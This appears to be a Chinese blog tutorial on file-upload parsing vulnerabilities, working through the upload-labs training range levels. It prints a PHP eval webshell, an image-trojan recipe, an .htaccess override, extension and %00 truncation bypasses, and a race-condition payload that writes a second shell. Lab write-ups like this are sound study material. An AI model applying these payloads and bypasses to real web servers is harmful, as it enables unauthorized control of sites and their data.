7-1文件上传解析漏洞(一)(二)
7-1文件上传解析漏洞(一)
一、一句话木马
webshell=>网站会话[拥有网站权限]
getshell=>获取会话
<?php eval($_REQUEST[\'a\']);?>
一句话木马的核心,就是用户传参的数据是当做了代码执行
eval是会将后面的字符串当做代码执行,$_REQUEST[\'a\']表示从request请求中获取a的值。
可以将要执行的代码传给.php的a的值,就会执行,拿到服务器的控制权,为了方便管理可以使用中国菜刀、蚁剑、冰蝎
二、客户端和服务端检测
客户端校验:一般是在网页上写一段Js脚本,用Js去检测,校验上传文件的后缀名,有白名单也有黑名单。
判断方式:在浏览加载文件,但还未点击上传按钮时便弹出对话框,可以通过抓包来判断,如果弹出不准上传,但是没有抓到数据包,那么就是前端验证
前端验证非常不可靠,传正常文件改数据包就可以绕过,甚至关闭JS都可以尝试绕过
黑白名单机制:
黑名单:不允许上传什么
白名单:只允许上传什么
白名单比黑名单更安全
服务端检测几个常见的手段:
检查Content-Type (内容类型)
检查后缀 (检查后缀是主流)
检查文件头
图片马
图片马可以绕过Content-Type (内容类型)和文件头检测
图片马的制作很简单,写一个一句话木马放在txt文件然后找一张你喜欢的图片(注意文件大小,越小越好)
然后打开cmd copy a.jpg/b + 1.txt 123.jpg (将a.jpg和1.txt 合并为123.jpg (注:这个是效果))
三、靶场大闯关
Pass-01:前端检测
文件类型,将一句话木马保存成1.jpg格式,选择1.jpg文件,用burp拦截数据包,讲文件类型改成php
Pass-02:Content-Type方式绕过
此题为后端检测,上传1.php文件用burp拦截请求,将Content-Type改成image/jpeg
Pass-03:黑名单绕过
由于没有过滤不严谨,.php3,.php4,.php5,.phtml 都是会被解析为php的,可以直接上传php3文件
Pass-04:.htaccess文件绕过
.htaccess文件也被成为分布式配置文件,提供了针对目录改变配置的方法,在一个特定的文档目录中放置一个包含一个或多个指令的文件, 以作用于此目录及其所有子目录。
先上传含一句话木马的1.jpg,在上传.htaccess文件使1.jpg文件按照php解析(新建1.txt 内容为AddType application/x-httpd-php .jpg
,用命令行将重命名ren 1.txt .htaccess
)
Pass-05:大小写绕过
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
WEB容器除非非常老的版本,不然都不区分大小写
将文件命名成1.PHp就可以上传
Pass-06:文件后缀(空)绕过
在文件名后面留一个空格,然后上传上去后空格会被自动的省略,但是看源码可知道,源码中黑名单中没有过滤空值,那么php和php ,当然是不一样的
将文件命名成"1.php " 就可以上传,windows的需要burp修改数据包
Pass-07: 文件后缀(点)绕过
windows有一个特性,会自动去掉后缀名最后的
将文件命名成1.php.就可以上传,windows的需要burp修改数据包
Pass-08: ::$DATA(Windows文件流绕过)
(这里利用到了NTFS交换数据流(ADS),ADS是NTFS磁盘格式的一个特性,在NTFS文件系统下,每个文件都可以存在多个数据流。通俗的理解,就是其它文件可以“寄宿”在某个文件身上,而在资源管理器中却只能看到宿主文件,找不到寄宿文件。)
echo abcd>>a.txt:b.txt 讲abcd写入a.txt:b.txt 很明显生成一个a.txt
然后再试试a.txt::$DATA ::$DATA
就是默认不修改文件流的情况
所以生成一个正常的a.txt
利用windows特性,可在后缀名中加” ::$DATA”绕过
上传1.php文件,用burp修改数据包1.php后面加上::$DATA,访问1.php即可
Pass-09:构造文件后缀绕过
由于没有循环去除点、空,可以构造多个点空绕过
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
$file_name = trim($_FILES[\'upload_file\'][\'name\']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, \'.\');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = trim($file_ext); //首尾去空
将文件命名成\'1.php. .\' 点空点就可以上传,先去点,再去空,后还剩点
Pass-10:双写绕过
仔细看源码发现$file_name = str_ireplace($deny_ext,"", $file_name);
,这里的意思就是讲检测到的危险字符替换为空,php被替换为空是空,那么pphphp被替换为空就会变为php,不就达到了绕过
将文件命名成"1.pphphp" 就可以上传
7-2 文件上传解析漏洞(二)
一、%00截断和00截断
了解%00实际上我们要先了解0x00,0x00实际上是一个十六进制表示方式,实际上就是表示ascii码值为0,有些函数在处理这个字符的时候会把这个字符当做结束符,他们就读取到这里认为这一段结束了
这有什么用呢?
在文件上传时,如果遇到了白名单机制只允许上传jpg后缀的,在没有解析漏洞的情况下我们该怎么办?
JPG格式并不会被解析,那么我们需要绕过上传过滤。
假如我写了1.php%00.jpg 传参之后,有些过滤都是直接匹配字符串,他强行匹配到了结尾是.jpg,然后允许上传,但是php的函数去执行的时候他读取到0x00认为结束了,那么这个文件就变成了1.php
%00实际上和00截断是一模一样的原理,只不过%00是经过URL编码的,%00解码后就是0x00截断的那个字符
二、条件竞争
首先了解一个定义——竞争条件是什么?
竞争条件”发生在多个线程同时访问同一个共享代码、变量、文件等没有进行锁操作或者同步操作的场景中。
开发者在进行代码开发时常常倾向于认为代码会以线性的方式执行,而且他们忽视了并行服务器会并发执行多个线程,这就会导致意想不到的结果。
线程同步机制确保两个及以上的并发进程或线程不同时执行某些特定的程序段,也被称之为临界区(critical section),如果没有应用好同步技术则会发生“竞争条件”问题。
在我理解就是两只哈士奇(线程)同时去抢一个丢出去的飞盘(资源),不知道到底哪只能抢到,此处便形成了竞争。
那我们上传是和谁去竞争?
一般而言我们是上传了文件,上传了但是最后却因为过滤或者因为其他原因被删除了,那么我们可以使用条件竞争,我们实际上是和unlink,是和删除文件的函数进行竞争。
假如我不断的上传发包,然后我同时也不断的访问那个我们上传上去的文件的地址,我们就开始和服务器的函数比手速了,函数执行都是要时间的,如果我这边上传上去,且没有删除,那个时间可能很短,然后被我访问到了,岂不是就可以执行PHP了我就比服务器手速快了
你可以上传一个php然后访问后,由这个php去写一个马<?php $a = \'<?php @eval($_REQUEST[\\'a\\'])?>\';file_put_contents(\'1.php\',$a)?>
三、靶场大闯关
Pass-11 (%00截断):
上传一个door.asd 来判断是黑名单还是白名单
可见是白名单过滤
继续审计源码, 可以看到GET存在一个参数, 体现在url中; 然后将该参数的路径值(要上传到制定目录的位置)和上传的文件名后缀做拼接, 得到一个全新的上传文件:
-
在GET参数save_path中传入真正的webshell名, 然后在后面加一个截断符%00
-
然后在POST的filename为正常白名单的文件名
那么可以采用截断绕过
- %00截断适用条件
PHP 版本 < 5.3.4
php.ini 中 magic_quotes_gpc=off
通过服务端的白名单过滤和拼接之后, save_path内容后面的值就被截断了, 达到了绕过的效果:
上传1.jpg木马文件,不用burp改包,save_path改成upload/1.php%00,就可以上传
http://59.63.200.79:8016/upload/1.php访问木马
Pass-12 (%00截断(二)):
这个东西和第一题很像,无非就是变成了POST方式提交save_path,问题在于POST方式我们用%00却失效了,这是因为POST传参并不会URL解码,所以需要我们该Hex改为00
Pass-13-16(图片马绕过)(getimagesize图片类型绕过)(php_exif模块图片类型绕过)(二次渲染绕过):
这几题目实际上不能利用,只是要你上传一个图片马,必须配合文件包含使用
找到一个.gif文件,在二进制的第4行插入一句话木马,可以解决以上问题
Pass-17(条件竞争):
前面都是先检测,后上传,这里是先上传后检测。在还没有删除前,访问这个文件,让这个文件执行生成另一个文件。另一个文件作为木马。我们用burp模块抓包然后去爆破就行,一个不断上传,一个不断访问
Pass-18(条件竞争2)(这题有Bug):
实际上还是条件竞争,只不过做了各种检查,其实还是一样的,只不过这次要上传图片马。
Pass-19(00截断):
move_uploaded_file() ,这是移动文件的函数,上传上去然后移动到这边重命名
上传1.php文件,用burp改包
- 点赞
- 收藏
- 关注作者
评论(0)